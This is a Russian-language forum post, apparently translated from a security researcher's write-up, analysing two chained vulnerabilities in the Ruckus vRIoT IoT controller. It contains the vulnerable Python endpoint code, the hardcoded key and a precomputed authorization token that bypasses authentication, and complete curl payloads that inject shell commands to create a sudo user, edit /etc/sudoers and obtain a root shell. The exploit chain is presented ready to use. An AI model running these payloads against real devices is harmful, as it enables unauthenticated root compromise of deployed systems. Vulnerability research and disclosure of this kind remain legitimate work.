• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Разбор CVE-2020-26878 & CVE-2020-26879 в умных устройствах от CommScope

Crashlytics

floppy-диск
Пользователь
Регистрация
02.11.2020
Сообщения
2
Реакции
3
promokodi.png

Дорогой путник, сегодняшняя проповедь касается двух уязвимостей (CVE-2020-26878 и CVE-2020-26879), обнаруженных в Ruckus vRIoT, объединив которые можно получить смертоносную цепочку для удаленного выполнения кода от имени root-пользователя. Присаживайся по-удобнее и слушай мой рассказ.

Молитва у подножия Алтаря, также известная как отказ от ответственности​

Этим летом (26 июля 2020 г.) мы сообщили об уязвимости в отдел безопасности продуктов Ruckus, они немедленно проверили нашу информацию и признали наличие проблем. После этого обе стороны договорились установить дату раскрытия на 26 октября (90 дней). Признаюсь, что в Ruckus восприняли нас очень тепло и каждый месяц информировали нас о фиксе. Если бы все компании были так добры...

Введение​

С каждым днем все больше людей превращают свои ветхие жилища в «умные дома», поэтому у нас возникает безмерное желание искать уязвимости в компонентах, которыми модернизируются их халупы. Однажды мы обнаружили «Ruckus IoT Suite» и решили, что было бы неплохо поискать в этом наборе уязвимости. Мы сосредоточились на Ruckus IoT Controller (Ruckus vRIoT), который является виртуальным компонентом «IoT Suite», отвечающим за интеграцию IoT-устройств и IoT-сервисов через открытые API.

53125ec96b581781cf2c8.png


Это программное обеспечение выдается в виде виртуальной машины в формате OVA (Ruckus IoT 1.5.1.0.21 (GA) vRIoT Server Software Release), поэтому его можно запускать в VMware и VirtualBox. Это хороший способ получить и проанализировать ПО, поскольку в изолированной среде мы не сможем повредить настоящие устройства.

Разогрев​

Нашим первым шагом было небольшое исследование, чтобы прощупать почву для атаки, поэтому мы запустили OVA внутри гипервизора и выполи простое сканирование портов:

Код:
PORT      STATE    SERVICE    REASON      VERSION
22/tcp    open     ssh        syn-ack     OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
80/tcp    open     http       syn-ack     nginx
443/tcp   open     ssl/http   syn-ack     nginx
4369/tcp  open     epmd       syn-ack     Erlang Port Mapper Daemon
5216/tcp  open     ssl/http   syn-ack     Werkzeug httpd 0.12.1 (Python 3.5.2)
5672/tcp  open     amqp       syn-ack     RabbitMQ 3.5.7 (0-9)
9001/tcp  filtered tor-orport no-response
25672/tcp open     unknown    syn-ack
27017/tcp filtered mongod     no-response
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Есть несколько интересных сервисов. Если мы попытаемся войти через SSH (admin / admin), то получим небольшое меню, из которого практически ничего не сможем сделать:

Код:
1 - Ethernet Network
2 - System Details
3 - NTP Setting
4 - System Operation
5 - N+1
6 - Comm Debugger
x - Log Off

Итак, нашим следующим шагом должно стать получение доступа к файловой системе, чтобы полностью понять то, как работает это ПО. Мы не смогли сделать джейлбрейк меню, поэтому придется извлекать файлы менее изощренным способом: давайте заострим когти, чтобы выпотрошить vmdk.

В конце концов, файл OVA - это просто пакет, содержащий все компоненты, необходимые для виртуализации системы, поэтому мы можем извлечь его содержимое и смонтировать диск виртуальной машины с помощью qemu и драйвера NBD.

Код:
7z e file.ova
sudo modprobe nbd
sudo qemu-nbd -r -c /dev/nbd1 file.vmdk
sudo mount /dev/nbd1p1 /mnt

Если это сработает, мы заполучим доступ ко всей файловой системе:

Код:
psyconauta@insulanova:/mnt|⇒  ls
bin      data  home        lib64       mqtt-broker  root  srv  usr      VRIOT
boot     dev   initrd.img  lost+found  opt          run   sys  var      vriot.d
cafiles  etc   lib         mnt         proc         sbin  tmp  vmlinuz

В файле /etc/passwd мы видим, что у пользователя admin нет обычного shell'а:

Код:
admin:x:1001:1001::/home/admin:/VRIOT/ops/scripts/ras

Этот ras файл представляет собой bash-сценарий, предназначенный для вывода меню, которое мы видели ранее

Код:
BANNERNAME="                                Ruckus IoT Controller"
MENUNAME="                                      Main Menu"

if [ $TERM = "ansi" ]
then
set TERM=vt100
export TERM
fi

main_menu () {
draw_screen
get_input
check_input
if [ $? = 10 ] ; then main_menu ; fi
}


##------------------------------------------------------------------------------------------------
draw_screen () {
clear
echo "*******************************************************************************"
echo "$BANNERNAME"
echo "$MENUNAME"
echo "*******************************************************************************"
echo ""
echo "1 - Ethernet Network"
echo "2 - System Details"
echo "3 - NTP Setting"
echo "4 - System Operation"
echo "5 - N+1"
echo "6 - Comm Debugger"
echo "x - Log Off"
echo
echo -n "Enter Choice: "
}
...

Remote Command Injection (CVE-2020-26878)​

Обычно все эти IoT-маршрутизаторы/коммутаторы/и т. имеют веб-интерфейс с функциями, которые выполняют команды ОС с использованием управляемого пользователем ввода. Это означает, что если ввод никак не фильтруется, мы можем вводить произвольные команды. Это самый нижний плод, до которого можно легко дотянуться и который всегда нужно проверять, поэтому наша первая задача - найти файлы, связанные с веб-интерфейсом:

Код:
psyconauta@insulanova:/mnt/VRIOT|⇒  find -iname "*web*" 2> /dev/null
./frontend/build/static/media/fontawesome-webfont.912ec66d.svg
./frontend/build/static/media/fontawesome-webfont.af7ae505.woff2
./frontend/build/static/media/fontawesome-webfont.674f50d2.eot
./frontend/build/static/media/fontawesome-webfont.b06871f2.ttf
./frontend/build/static/media/fontawesome-webfont.fee66e71.woff
./ops/packages_151/node_modules/faye-websocket
./ops/packages_151/node_modules/faye-websocket/lib/faye/websocket.js
./ops/packages_151/node_modules/faye-websocket/lib/faye/websocket
./ops/packages_151/node_modules/node-red-contrib-kontakt-io/node_modules/ws/lib/WebSocketServer.js
./ops/packages_151/node_modules/node-red-contrib-kontakt-io/node_modules/ws/lib/WebSocket.js
./ops/packages_151/node_modules/node-red-contrib-kontakt-io/node_modules/mqtt/test/websocket_client.js
./ops/packages_151/node_modules/node-red-contrib-kontakt-io/node_modules/websocket-stream
./ops/packages_151/node_modules/sockjs/lib/webjs.js
./ops/packages_151/node_modules/sockjs/lib/trans-websocket.js
./ops/packages_151/node_modules/websocket-extensions
./ops/packages_151/node_modules/websocket-extensions/lib/websocket_extensions.js
./ops/packages_151/node_modules/node-red-contrib-web-worldmap
./ops/packages_151/node_modules/node-red-contrib-web-worldmap/worldmap/leaflet/font-awesome/fonts/fontawesome-webfont.woff
./ops/packages_151/node_modules/node-red-contrib-web-worldmap/worldmap/leaflet/font-awesome/fonts/fontawesome-webfont.svg
./ops/packages_151/node_modules/node-red-contrib-web-worldmap/worldmap/leaflet/font-awesome/fonts/fontawesome-webfont.woff2
./ops/packages_151/node_modules/websocket-driver
./ops/packages_151/node_modules/websocket-driver/lib/websocket
./ops/docker/webservice
./ops/docker/webservice/web_functions.py
./ops/docker/webservice/web_functions_helper.py
./ops/docker/webservice/web.py

Таким образом, мы нашли несколько файлов, используемых при взаимодействие с сетевыми протоколами, и выяснили, что веб-интерфейс построен на основе Python-скриптов. В Python существует множество опасных функций, которые при неправильном использовании могут привести к выполнению произвольного кода. Самый простой способ обнаружить уязвимость - попытаться найти в основном веб-файле os.system()вызовы с данными, вводимыми пользователем. Простая команда grep прольет свет:

Код:
psyconauta@insulanova:/mnt/VRIOT|⇒  grep -i "os.system" ./ops/docker/webservice/web.py -A 5 -B 5
            reqData = json.loads(request.data.decode())
        except Exception as err:
            return Response(json.dumps({"message": {"ok": 0,"data":"Invalid JSON"}}), 200)
        userpwd = 'useradd '+reqData['username']+' ; echo  "'+reqData['username']+':'+reqData['password']+'" | chpasswd >/dev/null 2>&1'
        #call(['useradd ',reqData['username'],'; echo',userpwd,'| chpasswd'])
        os.system(userpwd)
        call(['usermod','-aG','sudo',reqData['username']],stdout=devNullFile)
    except Exception as err:
        print("err=",err)
        devNullFile.close()
        return errorResponseFactory(str(err), status=400)
--
            slave_ip = reqData['slave_ip']
            if reqData['slave_ip'] != config.get("vm_ipaddress"):
                master_ip = reqData['slave_ip']
                slave_ip = reqData['master_ip']
            crontab_str = "crontab -l | grep -q 'ha_slave.py' || (crontab -l ; echo '*/5 * * * * python3 /VRIOT/ops/scripts/haN1/ha_slave.py 1 "+master_ip+" "+slave_ip+" >> /var/log/cron_ha.log 2>&1') | crontab -"
            os.system(crontab_str)
            #os.system("python3 /VRIOT/ops/scripts/haN1/n1_process.py > /dev/null 2>&1 &")
    except Exception as err:
        devNullFile.close()
        return errorResponseFactory(str(err), status=400)
    else:
        devNullFile.close()
--
        call(['rm','-rf','/etc/corosync/authkey'],stdout=devNullFile)
        call(['rm','-rf','/etc/corosync/corosync.conf'],stdout=devNullFile)
        call(['rm','-rf','/etc/corosync/service.d/pcmk'],stdout=devNullFile)
        call(['rm','-rf','/etc/default/corosync'],stdout=devNullFile)
        crontab_str = "crontab -l | grep -v 'ha_slave.py' | crontab -"
        os.system(crontab_str)
        
        cmd = "supervisorctl status all | awk '{print $1}'"
        process_list = check_output(cmd,shell=True).decode('utf-8').split("\n")
        for process in process_list:
            if process and process != 'nplus1_service':
--
                        call(['service','sshd','stop'])
                        config.update("vm_ssh_enable","0")
                    call(['supervisorctl','restart','app:mqtt_service'])
                    call(['supervisorctl', 'restart', 'celery:*'])
                    if reqData["vm_ssh_enable"] == "0":
                        os.system("kill $(ps aux | grep 'ssh' | awk '{print $2}')")
            except Exception as err:
                return Response(json.dumps({"message": {"ok": 0,"data":"Invalid JSON"}}), 200)
        elif request.method == 'GET':
                response_json = {
                    "offline_upgrade_enable" : config.get("offline_upgrade_enable"),

Первое вхождение уже выглядит уязвимым для внедрения команды. При проверке этого фрагмента кода мы можем заметить, что он и вправду уязвим:

Код:
@app.route("/service/v1/createUser",methods=['POST'])
@token_required
def create_ha_user():
    try:
        devNullFile = open(os.devnull, 'w')
        try:
            reqData = json.loads(request.data.decode())
        except Exception as err:
            return Response(json.dumps({"message": {"ok": 0,"data":"Invalid JSON"}}), 200)
        userpwd = 'useradd '+reqData['username']+' ; echo  "'+reqData['username']+':'+reqData['password']+'" | chpasswd >/dev/null 2>&1'
        #call(['useradd ',reqData['username'],'; echo',userpwd,'| chpasswd'])
        os.system(userpwd)
        call(['usermod','-aG','sudo',reqData['username']],stdout=devNullFile)
    except Exception as err:
        print("err=",err)
        devNullFile.close()

При вызове энпоинта /service/v1/createUser некоторые параметры напрямую берутся из тела POST-запроса (в формате JSON) и отправляются в os.system(). Поскольку конкатенация выполняется без надлежащей очистки, мы можем вводить произвольные команды через ;. Уязвимость легко подтверждается:

Код:
curl https://host/service/v1/createUser -k --data '{"username": ";curl http://TARGET:8000/pwned;#", "password": "test"}' -H "Authorization: Token 47de1a54fa004793b5de9f5949cf8882" -H "Content-Type: application/json"

Имейте в виду, что этот метод проверяет токен на валидность (см. @token_requiredвторую строку фрагмента), поэтому нам необходимо пройти аутентификацию, чтобы использовать уязвимость. Поэтому следующий шаг - найти способ обойти эту проверку, чтобы использовать RCE как неаутентифицированный пользователь.

Обход аутентификации через API-бэкдор (CVE-2020-26879)​

Первым шагом к поиску обхода будет проверка функции token_required, чтобы понять, как выполняется эта «проверка»:

Код:
def token_required(f):
    @wraps(f)
    def wrapper(*args, **kwargs):

        # Localhost Authentication
        if(request.headers.get('X-Real-Ip') == request.headers.get('host')):
            return f()
        # init call
        if(request.path == '/service/init' and request.method == 'POST'):
            return f()
        if(request.path == '/service/upgrade/flow' and request.method == 'POST'):
            return f()

        # N+1 Authentication 
        if "Token " not in request.headers.get('Authorization'):
            print('Auth='+request.headers.get('Authorization'))
            token = crpiot_obj.decrypt(request.headers.get('Authorization'))
            print('Token='+token)
            with open("/VRIOT/ops/scripts/haN1/service_auth") as fileobj:
                auth_code = fileobj.read().rstrip()
            if auth_code == token:
                return f()

        # Normal Authentication
        k = requests.get("https://0.0.0.0/app/v1/controller/stats",headers={'Authorization': request.headers.get('Authorization')},verify=False)
        if(k.status_code != 200):
            return Response(json.dumps({"detail": "Invalid Token."}), 401)
        else:
            return f()
    return wrapper

Давайте проигнорируем сравнение заголовков :) и сосредоточимся на аутентификации N + 1. Как видите, если заголовок Authorization не содержит слова «Token», значение заголовка расшифровывается и сравнивается с жестко закодированным значением из файла (/VRIOT/ops/scripts/haN1/service_auth). Процедуры шифрования/дешифрования можно найти в /VRIOT/ops/scripts/enc_dec.py:

Код:
def __init__(self, salt='nplusServiceAuth'):
        self.salt = salt.encode("utf8")
        self.enc_dec_method = 'utf-8'
        self.str_key=config.get('n1_token').encode("utf8")




    def encrypt(self, str_to_enc):
        try:
            aes_obj = AES.new(self.str_key, AES.MODE_CFB, self.salt)
            hx_enc = aes_obj.encrypt(str_to_enc.encode("utf8"))
            mret = b64encode(hx_enc).decode(self.enc_dec_method)
            return mret
        except ValueError as value_error:
            if value_error.args[0] == 'IV must be 16 bytes long':
                raise ValueError('Encryption Error: SALT must be 16 characters long')
            elif value_error.args[0] == 'AES key must be either 16, 24, or 32 bytes long':
                raise ValueError('Encryption Error: Encryption key must be either 16, 24, or 32 characters long')
            else:
                raise ValueError(value_error)

n1_token значение может быть найдено (спойлер: это serviceN1authent). Со всей этой информацией мы можем перейти в нашу консоль python и создать магическое значение:

Код:
>>> from Crypto.Cipher import AES
>>> from base64 import b64encode, b64decode
>>> salt='nplusServiceAuth'
>>> salt = salt.encode("utf8")
>>> enc_dec_method = 'utf-8'
>>> str_key = 'serviceN1authent'
>>> aes_obj = AES.new(str_key, AES.MODE_CFB, salt)
>>> hx_enc = aes_obj.encrypt('TlBMVVMx'.encode("utf8"))# From /VRIOT/ops/scripts/haN1/service_auth
>>> mret = b64encode(hx_enc).decode(enc_dec_method)
>>> print mret
OlDkR+oocZg=

Таким образом, в заголовке с токеном авторизации значения OlDkR+oocZg=достаточно, чтобы обойти проверку токена и взаимодействовать с API. Мы можем объединить этот бэкдор с нашей инъекцией:

Код:
curl https://host/service/v1/createUser -k --data '{"username": ";useradd \"exploit\" -g 27; echo  \"exploit\":\"pwned\" | chpasswd >/dev/null 2>&1;sed -i \"s/Defaults        rootpw/ /g\" /etc/sudoers;#", "password": "test"}' -H "Authorization: OlDkR+oocZg=" -H "Content-Type: application/json"

А теперь авторизумся:

Код:
X-C3LL@Kumonga:~|⇒  ssh exploit@192.168.0.20
exploit@192.168.0.20's password:
Could not chdir to home directory /home/exploit: No such file or directory
$ sudo su
[sudo] password for exploit:
root@vriot:/# id
uid=0(root) gid=0(root) groups=0(root)

Итак… рут получен! > :)

EoF​

Возможно, уязвимость легко обнаружить и легко использовать, но root shell- это root shell. И никто не будет с вами спорить, когда у вас есть root shell.

Переводено: https://t.me/cybred
Оригинал: https://adepts.of0x.cc/ruckus-vriot-rce/
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх